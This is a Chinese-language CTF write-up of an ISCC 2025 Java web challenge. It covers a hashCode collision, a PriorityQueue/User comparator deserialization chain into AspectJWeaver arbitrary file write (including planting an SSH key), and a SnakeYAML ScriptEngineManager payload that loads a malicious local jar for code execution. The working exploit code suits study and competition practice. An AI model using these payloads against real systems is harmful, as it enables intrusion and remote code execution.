ISCC_AWD(2025) CTF
考点:
(1) String#hashCode碰撞
(2) AspectJWeaver任意文件写
(3) Snakeyaml加载本地jar包
(4) 内存马
题目Jar包给了两个类,分别是Index和User
Index.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105
| public class Index { public Index() { }
public static void main(String[] args) throws Exception { System.out.println("server start"); HttpServer server = HttpServer.create(new InetSocketAddress(8095), 0); server.createContext("/", new MyHandler()); server.setExecutor(Executors.newCachedThreadPool()); server.start(); }
static class MyHandler implements HttpHandler { MyHandler() { }
public void handle(HttpExchange t) throws IOException { String query = t.getRequestURI().getQuery(); Map<String, String> queryMap = this.queryToMap(query); String response = "Welcome to ISCC 2025"; if (queryMap != null) { String token = (String)queryMap.get("key"); if (Objects.hashCode(token) == "ISCC2025".hashCode() && !"ISCC2025".equals(token)) { InputStream in = t.getRequestBody();
String data; String yamlString; try { Map<String, String> postData = parsePostData(in); data = (String)postData.get("data"); yamlString = (String)postData.get("yaml"); } catch (Exception e) { throw new RuntimeException(e); }
try { if (data != null) { byte[] decode = Base64.getDecoder().decode(data); ByteArrayInputStream bais = new ByteArrayInputStream(decode); ObjectInputStream input = new ObjectInputStream(bais); input.readObject(); }
if (yamlString != null) { Yaml yaml = new Yaml(); yaml.load(yamlString); } } catch (Exception var12) { response = "oops! something is wrong"; } } else { response = "your key is wrong"; } }
t.sendResponseHeaders(200, (long)response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); }
public Map<String, String> queryToMap(String query) { if (query == null) { return null; } else { Map<String, String> result = new HashMap();
for(String param : query.split("&")) { String[] entry = param.split("="); if (entry.length > 1) { result.put(entry[0], entry[1]); } else { result.put(entry[0], ""); } }
return result; } }
public static Map<String, String> parsePostData(InputStream inputStream) throws Exception { BufferedReader reader = new BufferedReader(new InputStreamReader(inputStream)); StringBuilder requestBody = new StringBuilder();
String line; while((line = reader.readLine()) != null) { requestBody.append(line); }
Map<String, String> params = new HashMap(); String[] pairs = requestBody.toString().split("&");
for(String pair : pairs) { String[] keyValue = pair.split("="); if (keyValue.length == 2) { String key = URLDecoder.decode(keyValue[0], "UTF-8"); String value = URLDecoder.decode(keyValue[1], "UTF-8"); params.put(key, value); } }
return params; } } }
|
User.class
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54
| public class User implements Serializable, Comparator { private int id; private String name; private HashMap hashMap;
public User() { }
public int getId() { return this.id; }
public void setId(int id) { this.id = id; }
public String getName() { return this.name; }
public void setName(String name) { this.name = name; }
public HashMap getHashMap() { return this.hashMap; }
public void setHashMap(HashMap hashMap) { this.hashMap = hashMap; }
public int compare(Object o1, Object o2) { if (this.hashMap != null) { HashMap m = this.hashMap; m.put(o1, o2); } else { this.hashMap = new HashMap(); this.hashMap.put(o1.toString(), o2.toString()); }
if (o1 instanceof User && o2 instanceof User) { String name1 = ((User)o1).getName(); String name2 = ((User)o2).getName(); return name1.compareTo(name2); } else { return 0; } }
public boolean equals(Object obj) { return false; } }
|
String#hashCode 碰撞
首先接收key参数的值赋值给token,要求token的hashCode的值等于ISCC2025,但是token字符串的值不能等于ISCC2025,想到进行hashCode碰撞,跟进String#hashCode方法,可以看到对字符串hashCode计算的具体逻辑
1 2 3 4 5 6 7 8 9 10 11 12
| public int hashCode() { int h = hash; if (h == 0 && value.length > 0) { char val[] = value;
for (int i = 0; i < value.length; i++) { h = 31 * h + val[i]; } hash = h; } return h; }
|
ISCC202?和ISCC201?的hashCode值差了1,那么ISCC201?中?的chr值只需要比chr(5)多31即可,chr(5)+31后的字符为T
所以"ISCC201T".hashCode() == "ISCC2025".hashCode(),碰撞成功。
AspectJWeaver任意文件写
org.aspectj.weaver.tools.cache.SimpleCache$StoreableCachingMap#put方法可以写入任意文件,同时User#compare方法中存在可控的m.put(o1, o2)
只需要找到从readObject反序列化->User#compare的调用链即可
可以直接用tabby找到链子
1 2 3 4
| match(sink:Method {NAME:"compare"})where sink.CLASSNAME="com.localSnake.utils.User" match(source:Method {NAME:"readObject"})<-[:HAS]-(class:Class {IS_PUBLIC:true}) CALL tabby.algo.findJavaGadget(source, ">", sink, 5, false) YIELD path return path limit 1;
|

其实这就是CC4链子的前半段

可以直接考虑利用 CC4(前半段) + AspectJWeaver 写 ssh 公钥,直接ssh连接上私地了 -> 一种非预期解。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21
| import Utils.UtilFunctions; import com.localSnake.utils.User; import java.util.HashMap; import java.util.PriorityQueue;
public class EXP { public static void main(String[] args) throws Exception { User user = new User(); HashMap map = UtilFunctions.AspectJWrite("/tmp"); user.setHashMap(map);
PriorityQueue priorityQueue = new PriorityQueue(); UtilFunctions.setValue(priorityQueue, "comparator", user); UtilFunctions.setValue(priorityQueue, "size", 2); UtilFunctions.setValue(priorityQueue, "queue", new Object[]{"test2.txt", "123".getBytes()});
byte[] serData = UtilFunctions.serialize(priorityQueue); UtilFunctions.deserialize(serData); } }
|
预期解思路是写入恶意jar文件,然后利用snakeYaml反序列化去本地加载恶意jar实现RCE
写入恶意jar
1 2 3 4 5 6 7 8 9 10 11 12 13
| public class EXP { public static void main(String[] args) throws Exception { User user = new User(); HashMap map = UtilFunctions.AspectJWrite("/tmp"); user.setHashMap(map); PriorityQueue priorityQueue = new PriorityQueue(); UtilFunctions.setValue(priorityQueue, "comparator", user); UtilFunctions.setValue(priorityQueue, "size", 2); UtilFunctions.setValue(priorityQueue, "queue", new Object[]{"test2.txt", Files.readAllBytes(Paths.get("/Users/gehansheng/Desktop/CTF/ISCC2025-AWD国决/ISCC2025/src/main/java/yaml-payload.jar"))}); byte[] serData = UtilFunctions.serialize(priorityQueue); System.out.println(Base64.getEncoder().encodeToString(serData)); } }
|

Snakeyaml SPI 加载本地恶意jar
利用SnakeYaml反序列化打ScriptEngineManager加载本地恶意jar
1
| !!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["file:///tmp/yaml-payload.jar"]]]]
|

也可以直接打内存马。
总结
题目考点质量很高,不能局限于某一种思路,比赛时总在想如何利用Snakeyaml从而忽略了题目给的readObject。